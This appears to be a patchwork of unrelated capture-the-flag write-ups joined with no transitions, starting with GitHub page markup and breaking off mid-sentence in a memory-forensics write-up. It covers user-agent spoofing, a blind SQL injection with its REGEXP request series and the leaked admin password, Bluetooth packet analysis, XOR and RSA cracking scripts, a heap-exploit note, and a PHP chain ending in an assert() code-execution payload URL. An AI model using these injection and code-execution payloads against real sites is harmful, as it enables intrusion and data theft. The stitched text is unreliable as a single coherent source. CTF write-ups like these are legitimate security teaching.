class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/d4rkvaibhav/picoCTF-2018-Writeups/refs" cache-key="v0:1539434000.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZDRya3ZhaWJoYXYvcGljb0NURi0yMDE4LVdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/d4rkvaibhav/picoCTF-2018-Writeups/refs" cache-key="v0:1539434000.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZDRya3ZhaWJoYXYvcGljb0NURi0yMDE4LVdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>picoCTF-2018-Writeups</span></span></span><span>/</span><span><span>WEB_EXPLOITATION</span></span><span>/</span>SECRET AGENT<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>picoCTF-2018-Writeups</span></span></span><span>/</span><span><span>WEB_EXPLOITATION</span></span><span>/</span>SECRET AGENT<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/d4rkvaibhav/picoCTF-2018-Writeups/tree-commit/e7594885ce6043a87876ce1b7be3130e1db340d9/WEB_EXPLOITATION/SECRET%20AGENT" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/d4rkvaibhav/picoCTF-2018-Writeups/file-list/master/WEB_EXPLOITATION/SECRET%20AGENT"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.png</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> <div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="WEB_EXPLOITATION/SECRET AGENT/README.MD" data-tagsearch-lang="Markdown"> <div class="d-flex Box-header border-bottom-0 flex-items-center flex-justify-between color-bg-default rounded-top-2" > <div class="d-flex flex-items-center"> <h2 class="Box-title"> README.MD </h2> </div> </div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text">Problem Name : Secret AGENTProblem statement (200 points):Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell2.picoctf.com:3827 (link)Solution:When opened a website and clicked the button it says you are not google and then displayes browser name.So i have to change my user-agent to google bot.for this i used user-agent switcher(https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) from chrome extensions and then from the extension i set my user-agent to GoogleBot.After clicking the flag button the flag appeared :Flag: picoCTF{s3cr3t_ag3nt_m4n_12387c22}</article> </div> </div> Problem Name : Secret AGENTProblem statement (200 points): Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell2.picoctf.com:3827 (link) Solution:When opened a website and clicked the button it says you are not google and then displayes browser name.So i have to change my user-agent to google bot.for this i used user-agent switcher(https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) from chrome extensions and then from the extension i set my user-agent to GoogleBot. After clicking the flag button the flag appeared : Flag: picoCTF{s3cr3t_ag3nt_m4n_12387c22} </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# ▼▼▼Old School SQL(Web:150)▼▼▼ **This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```Being the admin is greatLink(http://35.200.215.237/)``` --- ## 【view source code】 `http://35.200.215.237/` ↓ ```query : select user from chal where user='' and pw=''|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";if(preg_match($black_list, $_GET['user'])) exit(":P"); if(preg_match($black_list, $_GET['pw'])) exit(":P"); $query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"; $result = mysql_query($query);$result = mysql_fetch_array($result);$admin_pass = mysql_fetch_array(mysql_query("select pw from chal where user='admin'"));echo "<h1>query : {$query}</h1>";if($result['user']) echo "<h2>Welcome {$result['user']}</h2>"; if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){ echo $flag;} highlight_file(__FILE__); ?>``` --- ## 【exploit】 GET /?user=`\`&pw=`||user/**/REGEXP/**/%22admi%22||%22n%22;%00` ↓ Welcome admin --- GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^1%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^17%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^172%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^1729%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^17292%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^172921%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^1729211%22;%00` ⇒Welcome admin GET /?user=`\`&pw=`||pw/**/REGEXP/**/%22^17292115%22;%00` ⇒Welcome admin ↓ admin's password is `17292115` --- ## 【Enter admin's password】 http://35.200.215.237/?pw=`17292115` ↓ `flag{sQ1_inj3c7i0n_i5_v3ry_3asy}`
# ev3-scanner---**Points:** 180 | **Solves:** 84/1789 | **Category:** Misc Find the flag. [Download](ev3scanner-6b325d724565e51b3e2f8e59ff5ee6c9.tar.gz) Author: Jeffxx --- [Bahasa Indonesia](#bahasa-indonesia) ## EnglishIn this challenge, given tar files contains an image and a pklg file that can be opened with Wireshark. Image files containing LEGO EV3 using a color sensor are seen to scan the paper containing the flag. While pklg file contains data transmission on RFCOMM protocol. Use filter on wireshark to see the color data sent by LEGO EV3. ```bluetooth.src == 00:16:53:61:30:c1 && btrfcomm``` After we apply filter, we can see much packet have data length 9 bytes. So we add filter again for data length = 9. ```btrfcomm.len == 9``` After we analyze some packet, we can see different 2-3 last byte. Besides that, there is much value `c0 40` and `80 3f` appear sequentially. We suspect the value is a representation of black and white. In addition to the 2 values above, we consider it as the color obtained when LEGO EV3 comes out of the paper and change direction. So we can extract color data scanned by each row. using [this script](flag/solve.py) we iterated extracted data, we got output similar with flag. With a little adjustment we got the flag. ![](flag.png) Flag: **hitcon{EV3GYROSUCKS}** ## Bahasa IndonesiaPada challenge ini diberikan sebuah file tar yang berisi sebuah gambar serta file pklg yang dapat dibuka dengan wireshark. File gambar berisi LEGO EV3 dengan menggunakan sensor warna terlihat akan melakukan scan pada kertas yang berisi flag. Sedangkan file pklg ini berisi transmisi data pada protokol RFCOMM. Langsung lakukan filter pada wireshark untuk melihat data warna yang dikirim oleh LEGO EV3. ```bluetooth.src == 00:16:53:61:30:c1 && btrfcomm``` Setelah dilakukan filter dapat dilihat ada banyak packet yang memiliki panjang data 9 byte. Tambahkan lagi filter untuk data dengan panjang 9. ```btrfcomm.len == 9``` Setelah kami menganalisa kumpulan packet tersebut, terdapat perbedaan byte pada 2-3 byte terakhir. Selain itu, terdapat value `c0 40` dan `80 3f` yang banyak muncul secara berurutan pada packet tersebut. Kami mencurigai value tersebut representasi dari warna hitam dan putih. Selain 2 value diatas, kami menganggapnya sebagai warna yang didapat ketika LEGO EV3 keluar dari kertas dan berbalik arah. Sehingga kita dapat melakukan extraksi data warna yang di scan tiap baris. Dengan menggunakan [script](flag/solve.py) untuk iterasi data yang telah kami extract, didapatkan sebuah gambar yang mirip flag. dengan sedikit penyesuaian didapatkanlah flag. ![](flag.png) Flag: **hitcon{EV3GYROSUCKS}**
## Tile Mate **Category:** Crypto **Points:** 100 ### Solution By looking at encryptor.py, we know that: - key is 5 characters (10 hex) - flag starts with ```flag{```, so we can find key by bruting over first 10 hex values of encrypted in the file. - after finding the key, we should find next values of flag, one by one simply by bruting over printable characters (It's a simple for over printable ascii's) - Remember flag values should contain lower values. Here is the solution: ```python#!/usr/bin/env python2import string, itertools from itertools import cycle as scooterfrom hashlib import sha384 # We know this is first 5 characters of flag.flag = "flag{" characters = '0123456789abcdef'encrypted = open('ci.pher.text','rb').read() def iter_all_strings(): length = 2 while True: for s in itertools.product(characters, repeat=length): yield "".join(s) return def drive(Helmet, Petrol): return ''.join(chr(ord(David)^ord(Toni)) for David,Toni in zip(Helmet,scooter(Petrol))) def enc(key, flag): f = lambda x: sha384(x).digest()[(ord(x)+7)%48] encrypted = drive(map(f,flag),key.decode('hex')).encode('hex') return encrypted # Finding keykey = ''for i in range(5): for s in iter_all_strings(): if enc(key+s, flag)[:(i*2)+2] == encrypted[:(i*2)+2]: key += s break print("key is: {}".format(key)) # Now finding the flagflag = "" characters = string.printable for i in range(len(encrypted)/2+1): enc_tmp = encrypted[:i*2] for j in characters: if enc(key, flag+j.lower()) == enc_tmp: flag += j.lower() print("flag is: {}".format(flag.lower()))```
[https://gist.github.com/soez/7731ed14599cda5104018c710de3a6df](http://) where I have manipulated the limit of the entries of the tcache to seven (the next chunks go to unsorted bin) for leak libc and poisoning the simple list to gaining control of rip
# Super Safe RSA - Crypto On this RSA challenge, we get the following:```c: 2425856200769915981651037422985132378377167608258701728568281807599094681752373n: 27648161471552692194976798121921575562926832795742781625850575808536319404313029e: 65537``` First thing I try is to factorize the n on [Alpertron](https://www.alpertron.com.ar/ECM.HTM). Then we get p and q:```p = 169164339873385123585987559611932758873q = 163439655735047847596122332439710591236173``` Then we create this script to decrypt the ciphertext c:```python#!/usr/bin/env pythonimport libnum n = 27648161471552692194976798121921575562926832795742781625850575808536319404313029c = 2425856200769915981651037422985132378377167608258701728568281807599094681752373e = 65537 p = 169164339873385123585987559611932758873q = 163439655735047847596122332439710591236173 n=p*qphi=(p-1)*(q-1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, n))``` After running the script, we get the flag: picoCTF{us3_l@rg3r_pr1m3$_2461}
After access this site, we will see source code here, we can know this is a typical PHP trick challenge. ## Part One: PHP Wrapper ```php@$msg = $_GET['msg'];if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1');}``` At first, we need to find an input which satisfies the above conditions. In here, we need PHP wrapper. PHP can read something like ``php://input`` / ``data://text/plain;xxx`` and some other things as file. For example, ``file_get_contents("data://text/plain,Hell Challenge!")`` will return ``Hello Challenge!`` here, so we can solve this part by use ``data://text/plain,Hell Challenge!`` as payload. ## Part Two: Weak Type ```php@$k1=$_GET['key1'];@$k2=$_GET['key2']; $cc = 1337;$bb = 42; if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n");}``` After that, we need to find a k1 which ``intval($k1) == $cc`` and ``$k1 !== $cc``, this is easy, when we post some thing, PHP will use it as string, so ``1337`` is enough here. ## Part Three: UTF8 ```phpif(strlen($k2) == $bb){ if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } }}``` At first glance, we need to find a k2 which only have digit here, but is not number by PHP's ``is_numeric`` function. But this challenge use ``$`` rather than ``$``, so ``000000000000000000000000000000000001337$`` would be cool. ## Part Four: Variable Coverage ```phpif(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; }}``` In PHP, you can use ``$$`` to get a dynamic variable. For example: ```php$b = true;$a = 'b';$$a = false;var_dump($b); // false here``` Therefore we can change some variable here. However, we need bypass this check ``substr($cc, $bb) === sha1($cc)`` first. We need another PHP trick here. When we post an array, ``substr`` / ``sha1`` will return ``NULL`` but not throw error here, so send ``cc[]=1`` will bypass this check. ## Part Five: Evil Assert After satisfying the above conditions, we found that the code to print the flag was commented. But it doesn't matter, we have ``assert`` here! Assert will execute the string passed in, and we can control all variable with variable coverage part. Finally, our payload is ``https://arcade.fluxfingers.net:1819/?bb=print_r%28%24flag%29%3B%2F%2F&key2=000000000000000000000000000000000001337%EF%BC%84&key1=1337&k1=2&cc%5B%5D=&msg=data%3A%2F%2Ftext%2Fplain%2CHello+Challenge%21``.
We did it like it's written in other writeups, but we flipped bit 6 of byte 0x9e. It turned instruction "XOR QWORD PTR [rsi], rdi" (48 31 3e) at 0x9d to "JNO 0x4000de" (48 71 3e). It jumped 7 bytes after beginning of the input buffer, giving plenty of place to put shellcode.
```|=-----------------------------------------------------------------------=||=----------------------=[ BSides Delhi - NTLM ]=------------------------=||=------------------Never Too Late Mister - 200 points-------------------=||=----------------------=[ @borjmz - ID-10-T Team ]=---------------------=||=-----------------------------------------------------------------------=| ------=[Description]=------ My friend John is an environmental activist and a humanitarian. He really hatedthe ideology of Thanos from the Avengers: Infinity War. He sucks at programming.He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me? ------=[Dump Analysis]=------ We found a memory dump that we have to analyze Challenge.raw. First we get the information from the image volatility -f Challenge.raw imageinfo Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 When 